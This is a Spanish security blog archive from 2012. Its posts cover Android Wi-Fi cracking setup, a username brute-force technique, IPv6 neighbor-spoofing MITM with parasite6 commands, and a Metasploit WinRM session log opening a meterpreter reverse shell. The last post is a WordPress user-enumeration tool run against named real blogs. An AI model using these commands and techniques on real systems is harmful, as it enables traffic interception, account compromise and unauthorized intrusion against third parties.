viernes, 16 de noviembre de 2012

Crackea redes wifi con tu Android (en modo monitor)

Seguramente a muchos les pasó por la cabeza la idea de crackear redes wifi con su smartphone pero, para nuestra mala suerte, no se podía porque sorprendentemente el modo monitor (modo para esnifar el tráfico Wifi) no se puede encontrar en cualquier dispositivo android (por no decir en todos), ya que el chipset que se utiliza en los dispositivos android (que mayormente son realizadas por Broadcom) no añade el soporte para el modo monitor.
Pero un grupo de investigadores decidieron pasar sus vacaciones viendo la forma de añadir el modo monitor a sus Android (Nexus One y Galaxy S II). En un primer momento compilaron el controlador en modo depuración y se dieron cuenta que el modulo elimina los encabezados 801.11 en Hw, con la cual concluyeron que se necesita hacer un cambio de firmware en sus dispositivos android, así que empezaron a hacerle ingeniería inversa al firmware y después de unas semanas obtuvieron una compresión decente de la recepción de paquetes en el proceso, con lo cual sacaron su primer firmware con el modo monitor añadido.

Actualmente tienen un firmware parcheado para los siguientes chipsets:

- BCM4329 (Android Nexus One)
- bcm4330 (Android Galaxy S II)

Si disponemos de uno de los modelos de Android descritos anteriormente, es más probable que funcione esos firmwares, pero las pruebas han sido hechas con la ROM Cyanogen 7 y Cyanogen 9, que son unas roms personalizadas y que han tenido una aceptable aprobación entre las personas que usan dispositivos Android por su estabilidad.

Instalación del firmware:

- Es necesario ser usuarios "root" en nuestro Android.
- (Opcional) Tener la rom Cyanogen en nuestro Android.
- Descargar el firmware para Android Nexus One ó para Android Galaxy S II
- Extraer el Archivo .zip en su dispositivo android (por ejemplo en su sdcard)
- Ejecutar 'sh setup.sh' en un terminal (como adb ssh, SManager, etc.)
- Ahora debemos tener una interfaz eth0 (Nexus One) ó wlan0 (Galaxy S II) en modo monitor.
- Ahora ejecutar 'iwconfig eth0' ó 'iwconfig wlan0' y obtendremos un resultado como esto:

eth0  IEEE 802.11-DS  ESSID:""  Nickname:""
          Mode:Monitor  Frequency:2.412 GHz  Access Point: Not-Associated
          Bit Rate:72 Mb/s   Tx-Power:32 dBm
          Retry min limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Managementmode:All packets received
          Link Quality=5/5  Signal level=0 dBm  Noise level=-92 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Y para la instalación del firmware en otros dispositivos Android:

- Dar un vistazo al código fuente http://code.google.com/p/bcmon/source/checkout
- Desarrollar el archivo .ko para nuestro dispositivo (en la wiki Cyanogen nos debería ayudar)
- Seguir los pasos de instalación para Nexus One ó Galaxy S II

Los archivos binarios de AirCrack

- aircrack-ng suite
- tcpdump
- iwconfig
- aircrack-static(para poder utilizar comandos como 'airodump-ng -i eth0'

Descargarlo de http://bcmon.googlecode.com/svn/trunk/bundles/utils.zip


Aerodump en ejecución en el Nexus One
 
Eso es todo, ¡a probar!, eso sí, no me responsabilizo por los daños o fallos que le puedan ocurrir a sus dispositivos Android, háganlo bajo su responsabilidad.


Para mayor información http://bcmon.blogspot.com/

miércoles, 14 de noviembre de 2012

Tus passwords son suprayectivas

En un proceso de auditoría de seguridad de una aplicación tienes que enfrentarte muchas veces contra esa desafiante pantalla que pide Login y Password para dejarte continuar en el sistema. Tras probar los fallos clásicos de SQL Injection, XPath Injection, LDAP Injection y compañía, toca el turno de pasar a los "sospechosos" habituales, buscando los famosos admin/admin o guest/guest. Si llegado a este punto no hemos conseguido entrar dentro habrá que pensar en sacar el Railgun y pensar en algún ataque de fuerza bruta, donde nos vamos a encontrar con dos problemas fundamentales: Los captcha y los bloqueos de cuenta por número de fallos. Y de esto venía a hablarles hoy.
Captchas sí, ¿pero cuándo?
Cuando se diseña una Intranet para una empresa, casi nadie quiere hacer uso de captchas. Son un dispositivo molesto que incide negativamente en la productividad de la aplicación, ya que el tiempo de registro se va a incrementar y suele ser algo muy molesto para cualquier persona el tener que rellenar cualquier captcha. Sin embargo, la mejor de las estrategias a la hora de mostrar el captcha es tenerlo oculto hasta que no se han producido, por ejemplo dos o tres fallos en la contraseña, lo que denotaría una situación de posible intento de averiguar la contraseña. Esto es algo que hacen por ejemplo Google o Microsoft en sus servicios online, y que pocas veces lo encontramos en una Intranet.
Bloqueo sí, ¿pero cuándo?
La otra barrera que nos solemos encontrar es que cuando intentas hacer una fuerza bruta a una cuenta, siempre te encentras con el bloqueo temporal de la misma tras 3, 5 o 10 intentos fallidos de contraseña, lo que evita que se pueda hacer el ataque de fuerza bruta. Esto suele inutilizar cualquier ataque de fuerza bruta contra una determinada cuenta, y nuestras esperanzas de saltarnos el control de acceso un poco más tocadas, pero...¿no hay solución?
El bloqueo de dirección IP
Una de las grandes injusticias en el bloqueo de la cuenta es que es el usuario el que sale perjudicado, ya que no podrá entrar por culpa de que alguien está intentando romper su contraseña, así que se buscan estrategias para minimizar el impacto negativo de esta medida de seguridad. En algunos sistemas se hace el bloqueo por dirección IP, obligando a los atacantes a cambiar de máquina o dirección IP para continuar con el proceso de fuerza bruta. Sin embargo, cuando alguien realiza esto desde una red de una organización, por ejemplo una universidad, podría dejar a todos los usuarios de esa red que compartan la misma dirección IP pública sin poder conexión. Esto hace que los bloqueos de dirección IP se hagan con poca frecuencia, y deberían realizarse siempre de forma temporal y muy ajustada.
f(usuario)->password es suprayectiva
En todo este proceso, hay algo que no todos tienen en cuenta, y es la extraña relación suprayectiva entre los usuarios y las contraseñas. Si no te acuerdas de las funciones suprayectivas no importa, ya que es tan sencillo como que si B es el conjunto de todas las contraseñas de un sistema de validación, y A es el conjunto de todos los nombres de usuarios, se da siempre la extraña y útil relación de que A tiene más elementos que B y que, con un alto grado de probabilidad, más de un elemento de A apuntará al mismo elemento de B, tendiendo a 1 la probabilidad de que esto pase a mayor número de usuarios haya en el sistema. O lo que es lo mismo, que mientras que los usuarios no se pueden repetir en un sistema, sí lo pueden hacer sus contraseñas.
Figura 1: Una función suprayectiva

Política de contraseñas
Si a esto sumamos que existe una política de contraseñas que limita el espacio de contraseñas posibles, quitando de la ecuación todas aquellas que son fáciles de averiguar por no ser complejas, se reduce el número de ellas que puede introducir un usuario por el teclado, y aumenta el grado de compartición de contraseñas, haciendo que las más fáciles de introducir con una determinada política de seguridad sean las más utilizadas. Por ejemplo, en un sistema que exija que la contraseña sea de al menos seis caracteres y alguno sea un número, podríamos confiar en que la clave de acceso elegido por la mayor parte de los miembros de la manada acabe siendo 123456, por eso de que hay algún número y seis caracteres.
Bloqueo por password
Sin embargo, si cambiamos nuestra visión del formulario de acceso del tradicional LOGIN y PASSWORD, por uno mucho más metafórico que diga PASSWORD y LOGIN, sólo deberíamos saber uno de los miembros de la especie que habita en esa Intranet que ha optado por no complicarse la vida. Para resolver esto, lo que deberemos hacer es un ataque de fuerza bruta o de diccionario al nombre, manteniendo la contraseña elegida para la prueba siempre estable.
¿Y cuál es la ventaja de atacar al nombre en lugar de atacar a la contraseña?
Fácil, mientras que la mayoría de las webs tienen protección contra el ataque de fuerza bruta a una cuenta de usuario, contando el número de fallos de passwords en un proceso de login de un usuario, hay una gran cantidad de ellos que te permiten poner una password y probar usuarios al infinito hasta que des con alguno de los miembros que ha optado por elegir esa contraseña tan cómoda que cumple con la política de seguridad.
Try it yourself!
Si quieres comprobar esto en tus aplicaciones, busca el proceso de login, fija una password y prueba 10 usuarios distintos. Si no te ha bloqueado la conexión, entonces tu web es vulnerable a un proceso de fuerza bruta al nombre de usuario y deberías elegir una password lo menos común y repetida posible.

viernes, 9 de noviembre de 2012

Hacking en redes de datos IPv6: Neighbor Spoofing

El primer ataque en redes de datos IPv6 por su sencillez e impacto que debe tenerse en consideración es  el de Neighbor Spoofing. Su funcionamiento es prácticamente análogo a ARP Spoofing, y de igual manera permite realizar ataques man in the middle.


Neighbor Spoofing

Como ya vimos en el artículo de Hacking en redes de datos IPv6: Conceptos Básicos, para descubrir a los vecinos de una red se utiliza el protocolo NDP (Neighbor Discovery Protocol). Este subconjunto de mensajes ICMPv6 cuenta con dos que convierten la dirección IPv6 a una dirección de enlace local (Local-Link) que en las redes de datos de area local será la dirección MAC.

El funcionamiento habitual es que un equipo envíe un mensaje de Neightbor Solicitation NS a una dirección multicast cuando vaya a comunicarse con un equipo y que el que tenga esa dirección IPv6 responda al mensaje multicast con un mensaje unicast de Neighbor Advertisement NA con su dirección física MAC. El receptor del mensaje NA almacenará en la la tabla de vecinos la dirección IPv6 y la dirección MAC asociada.

Sin embargo, al igual que con el protocolo ARP en IPv4, un atacante puede enviar un mensaje NA sin haber recibido el mensaje previo de NS y hacer hacer que en la caché de la tabla de vecinos se almacene el registro. Un ataque de Neighbor Spoofing para hacer man in the middle se basará por tanto en enviar un mensaje NA a los dos equipos a los que se quiere hacer el ataque, poniendo en ambos la dirección IPv6 del otro, y la dirección MAC del atacante.

Figura 1: Paquete NA enviado spoofeando la IPv6 fe80::f47c:d2ae:b534:40b2

Figura 2: Paquete NA enviado spoofeando la IPv6 fe80::f95c:b7c5:ea34:d3ff

El ataque se realiza spoofeando la dirección IPv6 de origen del paquete, para simular ser un mensaje que viene del otro equipo víctima, pero en ambos casos se pone la dirección MAC del atacante, para conseguir que el switch de comunicaciones haga llegar todos los mensajes a la máquina del hombre en medio. 

Parasite6 (The Hacking Choice)

Una de las herramientas que implementa estos ataques es parasite6, de The Hacker Choice (THC). Esta herramienta está incluida en BackTrack. Por defecto la herramienta realiza man in the middle entre todos los equipos IPv6 que descubre por la red, por lo que ponerla activa en una red de datos en la que hay IPv6 es meter un auténtico parásito. Los pasos para que funcione con la configuración por defecto son:
1) Poner primero una dirección IPv6 en el interfaz de red de BackTrack que esté en la red en que se va a hacer el ataque.

 - ifconfig eth0 inet6 add [ipv6] 
2) Arrancar parasite6
- parasite6 eth0
Figura 3: activando parasite6 en Bactrack
3) Configurar el enrutamiento
- sysctl -w net.ipv6.conf.all.forwarding=1
Figura 4: Activación del enrutamiento en IPv6
4) Activar un sniffer (Wireshark) y analizar los paquetes.
A partir de ese momento, se empezarán a enviar mensajes NA para hacer man in the middle en las direcciones IPv6 que se detecten y se envenenarán las tablas de vecinos de todos ellos.

Figura 5: Direcciones IPv6 apuntando todas a la dirección MAC del equipo con parasite6

Por desgracia, el número de herramientas que analizan los flujos sobre IPv6 no son muchos, y no contamos con muchos filtros que recompongan ficheros transmitidos o analicen sesiones, por lo que el trabajo hay que hacerlo a día de hoy un poco manualmente.

Scapy Project

Otra herramienta que se puede utilizar para crear los paquetes es Scapy, escrita en Python y que permite configurar cualquier tipo de paquete de red, incluidos los de IPv6. Esta utilidad es perfecta para automatizar ataques con scripts, e implementar todos los ataques que se conocen hoy en día.

Figura 6: Scapy en Linux

Puedes descargar la herramienta desde la web de Scapy Project y tienes más información en la presentación que se hizo en Hack In The Box 2006: Scapy and IPv6 networking.

Evil FOCA


En
Evil FOCA hemos implementado el ataque de Neighbor Spoofing y basta con seleccionar los equipos a los que se quiere hacer man in the middle para que la herramienta envíe los paquetes NA adecuados.
Figura 7: Man in the middle con Neighbor Spoofing usando Evil FOCA

Utilizando Evil FOCA es posible capturar los ficheros transmitidos una red de area local en la que se esté utilizando IPv6: Captura de ficheros transmitidos por SMB con ataques man in the middle en IPv6 usando Evil FOCA

 




Fuente 

domingo, 4 de noviembre de 2012

Un grupo de Anonymous publica el código fuente del kernel de VMware ESX Server

El grupo de Anonymous "Stun" ha publicado el código fuente del kernel de VMware ESX Server según anunciaban en su tweet "WILD LEAKY LEAK. FULL VMware ESX Server Kernel LEAKED LINK #Anonymous #AntiSec". 

La razón de este leak es que VMware parece seguir desarrollando sin tener en cuenta buenas prácticas para la seguridad: "Jodiendo gente y vendiendo mierda. Pero ya es hora de que Anonymous finalmente se pronuncie. Por su puesto VMware intentará hacer creer que se trata de un kernel viejo y no se utiliza en sus productos recientes. Pero gracias a Dios, todavía hay cosas como la ingeniería inversa que desmostrará la verdad".

En concreto es un torrent de 1.89 MB titulado "VMware ESX Server Kernel LEAKED" y según "Stun" es una versión original de 1998-2004 todavía utilizada en algunos productos...


Fuente: Anonymous leaks VMware ESX Server Kernel source code

fc00::1 (Algunos) Ataques en IPv6

Este es el título que Chema Alonzo utilizó ayer en la NoCONname 2012. En ella recojió todo lo que ya ha empezado a escribir en la serie Hacking en redes de datos IPv6 - continuará con ella - e hizo una demo con la Evil FOCA explicando los ataques de man in the middle con Evil FOCA, como usarlos para capturar ficheros de datos transmitidos por SMB, cómo hacer man in the middle en redes de datos IPv4 con IPv6 o cómo funciona el ataque D.O.S. SLAAC.


Todos ellos los irá desarrollando en detalle, pero mientras ya sabes que te puedes comprar el libro de Ataques en redes de datos IPv4 & IPv6.

Figura 1: Momento de presentación de la charla en la NCN 2012

Actualización: Tienes la reseña del primer día de la NCN 2012 en Security By Default.


Fuente

Apache Server Status abierto en miles de sitios web

El módulo de Mod_Status permite acceder a una monitorización rápida del servidor Apache mediante una página web accesible vía http://server/server-status y, dependiendo de las URLs que se estén visitando y el tipo de aplicaciones que se hayan diseñado, pueden llegar a aparecer usuarios y passwords en texto claro. Lo curioso es que este módulo ha aparecido en miles de sitios y desde Sucuri Labs han publicado un estudio con sitios webs encontrados con este módulo expuesto a Internet.

Figura 1: URLFind para buscar sitios con Server-Status abierto

Entre el número de sitios que se pueden comprobar en URLfind, ya han aparecido algunos muy significativos, como por ejemplo el sitio web de Cisco.com, donde puede verse la página de monitorización sin proteger por ningún sistema de autenticación.

Figura 2: Apache Server Status en Cisco.com

Al final, la suma de "descuidos" en la fortificación de los sistemas acaba dando la clave para que se produzca la intrusión no deseada en un sistema, por lo que no dejes estos detalles en tus servidores web.

Saludos Malignos!
 
 
 

viernes, 2 de noviembre de 2012

Primeros exploits de día 0 para Windows 8


Menos de una semana después de que Microsoft lanzara su flamante Windows 8, los hackers franceses de Vupen han desarrollado un exploit para este nuevo sistema operativo e Internet Explorer 10. Chaouki Bekrar, CEO de Vupen, escribía en Twitter "Damos la bienvenida a #Windows 8 con varios 0Ds combinados para pwn todas las nuevas mitigaciones de exploits de Win8/IE10, Felicidades a nuestro mitigador de mitigaciones @n_joly".

Recordemos que, entre las características de seguridad de Microsoft Windows 8, se incluye por defecto DEP (Data Execution Protection) y ASLR (Address Space Layout Randomization) para aleatorizar la localización de las instrucciones de los programas en memoria e impedir que se ejecuten datos en algunas direcciones específicas. Además, se añaden técnicas antiROP (Return-oriented programming) para proteger estos dos métodos y se incluye la aplicación anti-malware Windows Defender y la última versión de Internet Explorer utiliza un "sandbox" llamado  AppContainer para intentar impedir que se ataque directamente al sistema a través del navegador.

Sin embargo, es evidente que Windows 8 no es invulnerable y ya en la conferencia Black Hat de este verano se mostraron exploits que teóricamente evadían sus medidas de seguridad. Tarjei Mandt, investigador de seguridad Azimuth Security comentaba "El kernel de Windows 8 fundamentalmente no cambia ninguno de los algoritmos usados en Windows 7 ... Más que nada es una versión fortificada de Windows 7 sin cambios estructurales significativos, pero incluye muchas más comprobaciones".

Por otra parte Microsoft alega que vieron el tweet de Vupen pero que dicha organización todavía no ha compartido con ellos los detalles. Y es que Vupen se lucra en gran parte gracias a la venta de sus hacks e información a agencias gubernamentales y, en definitiva, al mejor postor: "Nuestro primer 0day para Win8+IE10 con HiASLR/AntiROP/DEP y evasión del Mod Prot sandbox (no necesario Flash) está ya disponible para clientes. Bienvenido #Windows8".


Además, en las últimas horas se ha liberado un módulo de Metasploit capaz de explotar el servicio Windows Remote Management (WinRM) para obtener una sesión de Meterpreter. Bienvenido Windows 8 a este nuestro mundo cruel xD:


    msf  exploit(winrm_powershell) > show options
     
    Module options (exploit/windows/winrm/winrm_powershell):
     
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       DOMAIN    WORKSTATION      yes       The domain to use for Windows authentification
       PASSWORD  omfg             no        A specific password to authenticate with
       Proxies                    no        Use a proxy chain
       RHOST     10.6.255.158     yes       The target address
       RPORT     5985             yes       The target port
       URI       /wsman           yes       The URI of the WinRM service
       USERNAME  sinn3r           no        A specific username to authenticate as
       VHOST                      no        HTTP server virtual host
     
     
    Payload options (windows/meterpreter/reverse_tcp):
     
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
       LHOST     10.6.255.84      yes       The listen address
       LPORT     4444             yes       The listen port
     
     
    Exploit target:
     
       Id  Name
       --  ----
       0   Automatic
     
     
    msf  exploit(winrm_powershell) > rexploit
    [*] Reloading module...
     
    [*] Started reverse handler on 10.6.255.84:4444
    [*] Attempting to set Execution Policy
    [*] Grabbing %TEMP%
    [*] uploading powershell script to C:\Users\sinn3r\AppData\Local\Temp\uUIpRDrz.ps1
    [*] Attempting to execute script...
    [*] Sending stage (752128 bytes) to 10.6.255.158
    [*] Meterpreter session 1 opened (10.6.255.84:4444 -> 10.6.255.158:49535) at 2012-10-31 17:09:00 -0500
     
    meterpreter >
    [*] Session ID 1 (10.6.255.84:4444 -> 10.6.255.158:49535) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
    [*] Current server process: powershell.exe (2844)
    [+] Migrating to 696
    [+] Successfully migrated to process
     
    meterpreter > sysinfo
    Computer        : WIN-VFQHRRTCA39
    OS              : Windows 8 (Build 9200).
    Architecture    : x86
    System Language : en_US
    Meterpreter     : x86/win32
    meterpreter >
 





  Fuentes:

Government hackers develop Windows 8 exploit – already

 
Security firm VUPEN claims to have hacked Windows 8 and IE10 


VUPEN Researchers Say They Have Zero-Day Windows 8 Exploit 


Weekly Metasploit Update: WinRM Part One, Exploiting Metasploit, and More! 


jueves, 1 de noviembre de 2012

Enumeración de Usuarios en WordPress (Fingerprinting) – Presentando wp_users.sh

Hola amigos, conozco la comunidad DragonJAR desde hace mas de 4 años donde llegue a ser de los usuarios mas activos, pero en este tiempo de conocer a la comunidad es la primera vez que publico algo en el blog principal. Quería fuera algo especial y espero poder llenar las expectativas del publico exigente en calidad de artículos técnicos que visita DragonJAR.

Screenshot 016 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

La idea del articulo conforme fui desarrollando e investigando sobre el tema, cambio radicalmente de como se contemplo al principio, así que lo dividiré en dos secciones.
  1. Como es la enumeración de Usuarios de wordpress hoy en día.
  2. Dar a conocer el script que escribí wp_users.sh
Pero como suelo hacer, primero quiero dar a conocer un poco del contexto sobre por que me metí a este tema; Realmente yo no tenia contemplado hacer un script para esta tarea, puesto que ya existen programas, plugins y scripts que hacen la misma tarea.

Todo esto empezó cuando mi blog personal (Neobits.org) que hace uso del famoso gestor de contenido wordpress fue atacado. En ese momento me metí bastante a estudiar “Hardening para wordpress”, aunque mi blog tenia medidas de seguridad suficientes para creerlo “seguro”, fui vulnerado. Hoy en día las medidas de seguridad que implemente en mi Blog son mucho mayores a ese entonces y creo hasta ahora me funcionan bien.

En este punto varias personas me han pedido les comparta un manual de Hardening, y aunque en internet hay varios y varios tips, decidí crear mi propia cadena de tips, en las que me baso yo. Algunas recomendaciones son las que wordpress oficialmente nos recomienda, otras son de desarrolladores de plugins, otras de profesionales de la Seguridad Informática y las demás son en base a mi experiencia.

Todos estos tips y manual que voy creando espero poder presentarlo a la comunidad informática en “Campus Party México 4″. Si es que logro contactar al encargado de Área de Redes y Seguridad. Así que si les interesa pueden ayudarme para que lo presente en #CPMx4 =P

En mi investigación me encontré con este tema taaaaaaan sonado y “común”. Donde se dice es muy sencillo sacar los usuarios de wordpress (Y realmente lo es). Y aunque existen varias soluciones para lograr este objetivo, me di cuenta que varios de ellos no me ofrecen los resultados que esperaría…Aquí fue donde decidí crear mi pequeño script (Unas 3 líneas) como PoC.

Para unos días mas tarde el script creció a 100+ Líneas y ofrece buenos resultados (Mejores que algunas herramientas conocidas en ciertos casos).
Sin mas preámbulo entremos en tema.

Enumeración de Usuarios

¿Para que obtener los usuarios de wordpress de una página?
-obtener los nombres de usuario es una parte muy importante en una prueba de intrusión, ya que obteniendo estos, podemos dirigir un ataque de fuerza bruta a esos usuarios para ver si podemos ingresar al portal y de ahí tratar de escalar privilegios, subir una webshell etc…
Encontré varias opciones para lograr enumerar usuarios y aquí probaremos algunas de las mas “usadas y recomendadas”
  • Flunym0us (Flu-project y enelpc.com)
  • Metasploit (Con el modulo wordpress_login_enum)
  • wpbf.py
  • w3af (Plugin wordpress_enumerate_users)
Flunym0us

Flunym0us es un script programado en python creado por Flu-project.com y enelpc.com. Donde solo hace unas semanas salió la versión 2.0
Este programa es un Scanner de vulnerabilidades para WordPress y Moodle. Hace un completo fingerprinting a la plataforma identificando versión de la plataforma, plugins instalados y desactualizados, y LOS USUARIOS REGISTRADOS…
En la siguiente captura de pantalla podemos observar como funciona flunym0us y obtiene los usuarios de la pagina muyseguridad.net


Screenshot 006 300x194 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Trabaja bien ¿no? sin embargo Flunym0us tiene unos pequeños inconvenientes en cuanto a los usuarios. Obtiene muy pocos, y Cuando encuentra algunos, se basa en el <title> de la pagina…Podemos ver un ejemplo a continuación con el blog de daboblog.com

Screenshot 007 300x158 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Dice encontrar 5 usuarios pero solo 1 es real. Los demás son el <title> del sitio.
Metasploit (wordpress_login_enum)
Muchos profesionales de la seguridad recomiendan el uso de metasploit para enumerar usuarios ya que tiene todo un modulo dedicado a esto, y es bastante configurable.
El modulo lo podemos encontrar en:
auxiliary/scanner/http/wordpress_login_enum
Podemos hacer uso de el fácilmente simplemente configurando el Host remoto. Y claro podemos ver todas las opciones con “show options”. Lo probaremos ahora contra los creadores de flunym0us.
>use auxiliary/scanner/http/wordpress_login_enum
>set RHOSTS flu-project.com
>exploit
 
Screenshot 005 300x95 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Como vemos no me devolvió ningún usuario valido. La verdad no se por que, por mas que intente con varias paginas, con servidores dedicados, en local, configuración de parámetros, etc…En ninguna de mis pruebas logre obtener un solo resultado exitoso. (Si alguien logra realizar esto con éxito, favor de hacérmelo saber)

WPBF.py

WordPress BruteForce es un script, igualmente programado en python que me agrado bastante, pero que igualmente NO ME DEJO COMPLETAMENTE CONVENCIDO. Podemos descargar este script desde github donde su autor “Andres Tarantini” lo alojo. http://atarantini.github.com/wpbf/
Este es un script de fuerza bruta para probar las contraseñas, detectar plugins y enumerar usuarios.
Aunque tiene una gran cantidad de opciones yo solo mostrare la enumeración de usuarios. En esta ocasión la pagina “afortunada” es el famoso sitios de tecnología, gadgets, y ¿Seguridad? -> g3ekarmy.com
$python2.7 wpbf.py -eu -mu 40 http://g3ekarmy.com
 
La opción -eu es para (enumerate uses)
La opción -mu 40 es para definir la cantidad máxima de usuarios a obtener

Screenshot 008 300x72 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Le dijimos que obtuviera un máximo de 40 usuarios y obtuvo con éxito 12. Pinta bien el programa =) Sin embargo veremos después que con wp_users podemos obtener mas de 12 usuarios icon wink Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Sin duda wpbf es una buena opción a tener en cuenta.

w3af

w3af no necesita presentación, si estas leyendo esto, seguro conoces w3af a fondo y en modo “console” icon wink Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Dentro de los muchos plugins de w3af tenemos en el área de “discovery” el plugin “wordpress_enumerate_users” el cual usaremos. Veamos dos ejemplos uno ahora con la pagina de seguridad infospyware.com y de nuevo con daboblog.com
Si corremos el plugin contra daboblog.com vemos que solo encuentra al usuario “admin”, como lo hizo flunym0us.

Screenshot 013 300x119 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Ahora si lo corremos contra infospyware.com vemos que nos devuelve una gran cantidad de usuarios exitosamente.

Screenshot 014 300x199 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

Conclusión:
  • Flunym0us Sin duda es un gran Scanner de vulnerabilidades y que en el futuro seguramente mejorara la enumeración de usuarios.
  • Metasploit no pude hacerlo funcionar de ningún modo, será que ¿Necesito clases personalizadas?
  • wpbf.py un gran script que nos puede ayudar en ciertas cosas, pero que al final no es la elección definitiva.
  • w3af es la mejor opción para enumerar usuarios…¿O por lo menos lo era hasta ahora?

¿Como funcionan estos programas para enumerar usuarios?

Manera 1:

Es realmente sencillo, hace tiempo se descubrió que wordpress tenia una “vulnerabilidad/utilidad” donde si uno pone en una pagina que este usando wordpress… pagina.com/?author=1 nos devuelve todas las entradas de este usuario, y claro en el cuerpo del html vendría el nombre de usuario.
También puede venir en el title, así es como lo maneja Flunym0us.

Screenshot 015 300x134 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

Entonces la manera obvia de obtener usuarios es ir iterando sobre este parámetro y si nos contesta el servidor exitosamente, buscamos el usuario (Esa es la lógica que varios de estos programas usan).

Manera 2:

Esta forma de obtener los usuarios es realmente el mismo que la manera 1, la única diferencia es que cuando ingresamos a pagina.com/?author=1 nos redirige a pagina.com/author/usuario de esta manera podemos obtener el usuario desde la URL, o también desde el cuerpo HTML.

Manera 3:

Podemos obtener los post de los usuarios con el parámetro pagina.com/?author_name=usuario donde usuario es el nombre del autor. Esta manera no es muy buena puesto que tendríamos que estar fuzzeando mucho, o con un diccionario ya bien establecido podríamos obtener algunos usuarios, pero no tiene para nada el mismo impacto que la manera 1.
Cada uno de los métodos es valido, complementario y funcional. El éxito del ataque dependerá de como el blog lo maneje y esto a su vez depende mucho del TEMA que el blog este usando, también depende del idioma y/o de si el blog se encuentra dentro de una carpeta que no sea la principal.

Y así nace: wp_users.sh

wp_users.sh a diferencia de los otros programas vistos anteriormente esta programado en Bash.
./wp_users enumera y obtiene los usuarios registrados en WordPress

Screenshot 0161 300x155 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

Trate de que tenga la mayor compatibilidad posible con los sistemas (Las expresiones regulares son del tipo a-zA-Z y no a-Z para que no hubiera problemas en sistemas Mac OS), no usa muchos programas externos, sino al contrario usa muchos programas que ya vienen instalados en muchos sistemas *nix por default o de comandos internos. Por el momento fue probado en BackTrack 5 R3 sin ningún tipo de problema.
Hago uso de “echo, egrep, cut, tail, read, head, declare, let”

El único programa que podría no venir por default en tu sistema es “GET” que pertenece a las utilidades de “lwp-mirror – Simple Mirror Utility”.

Características:
  • 100% Editable y personalizable
  • Tiene 2 maneras de poder Enumerar usuarios (Método 1 y 2)
  • Puede identificar si una pagina usa wordpress o no.
  • Identifica la Versión de wordpress si es posible.
  • Puedes definir cuantos INTENTOS (no usuarios) deseas realizar
  • Hace por defecto “User Agent Spoofing”, el cual puedes modificar o eliminar desde el codigo.
  • A diferencia de los demás, wp_users DEVUELVE el ID de los usuarios encontrados
  • ES SOFTWARE LIBRE
Contras:
  • Puede ser muy lento, por la programación estructurada manejada y por el UA spoofing
  • Aun no es 100% compatible con todos los blogs (A mejorar las expresiones regulares en un futuro)
Ejemplos:

Ej1)

Lo corremos contra g3ekarmy.com con 40 intentos (Numero hasta donde llegara la iteración del ciclo).

Screenshot 009 300x206 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click Aqui para Agrandar

A diferencia de wpbf.py, wp_users.sh nos devuelve en 40 intentos mas usuarios que lo que logro wpbf.py, así mismo el formato es mas vistoso.

Ej2)

Recuerdan como flunym0us y w3af solo nos devolvía un usuario (admin) con el blog de daboblog.com? Veamos que hace wp_users.sh
Lo lanzamos con 100 intentos.

Screenshot 011 300x247 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click Aqui para Agrandar

Genial no? =) Sabia había mas usuarios de lo que w3af y flunym0us nos decía…Os empieza a gustar wp_users.sh o no?

Profundizando:

Debemos entender como funciona el método 1 y 2 explicados anterior mente e implementados en wp_users.sh
Cuando corremos wp_users.sh pagina.com #Intentos lo que hace el programa es pedir pagina.com/?author=#Intentos para cada pagina si nos contesta Ok, busca la palabra author-$USUARIO. Donde $USUARIO es lo que extraemos y obtenemos…

Sin embargo en varias paginas, nos contestara un 200, pero no nos devolverá nada… ¿Por qué? Por que puede que exista una redirección de pagina.com/?author=#ID a pagina.com/author/USUARIO en este caso wp_users identificara si lo que devuelve esta vacío y después de 10 intentos nos recomendara que usemos el método 2:
./wp_users.sh --inurl
 
En este método ingresaremos de nuevo la pagina y numero de intentos e intentara obtener los usuarios de una manera diferente…buscando ahora $web/author/$USUARIO/ y extrayendo $USUARIO, si encuentra esto nos devolverá los usuarios, de lo contrario también saldrá vacío y esto querrá decir que el programa no fue capaz de obtener los usuarios por que la pagina puede estar manejando la url de manera diferente:
Ej: Fallara si el blog en vez de redirigir a pagina.com/author/USUARIO, redirige a pagina.com/autor/USUARIO…(Próximamente se agregara mas compatibilidad)

Ejemplo de cuando usar el método 2 –inurl…Por ejemplo daboblog.com es una de esas paginas donde con el método 1 no obtendremos nada, pero con el 2 si.

Screenshot 010 300x294 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

Y esto señores es wp_users.sh, les parece ¿interesante? o ¿útil?.

Nota: Los blogs que fueron usados para ejemplos fueron sacados de los participantes en los premios bitácoras por mejor blog a seguridad parcial III http://bitacoras.com/premios12/clasificaciones/mejor-blog-sobre-seguridad-informatica/3 Espero ningún webmaster se moleste por esta situación, pero me pareció interesante probar mi herramienta con los blogs de seguridad que compiten y usan wordpress. Cualquier malentendido favor de tratarlo directamente conmigo (@hecky)

Comentarios finales:

¿Por qué escribiste wp_users?

Primeramente para demostrar que a veces las herramientas mas famosas no nos resuelven todo, y sirve de mucho INVESTIGAR, PROBAR y poder CREAR nuestras herramientas manualmente.

¿Por qué escribirlo en bash y no en python, perl, ruby?

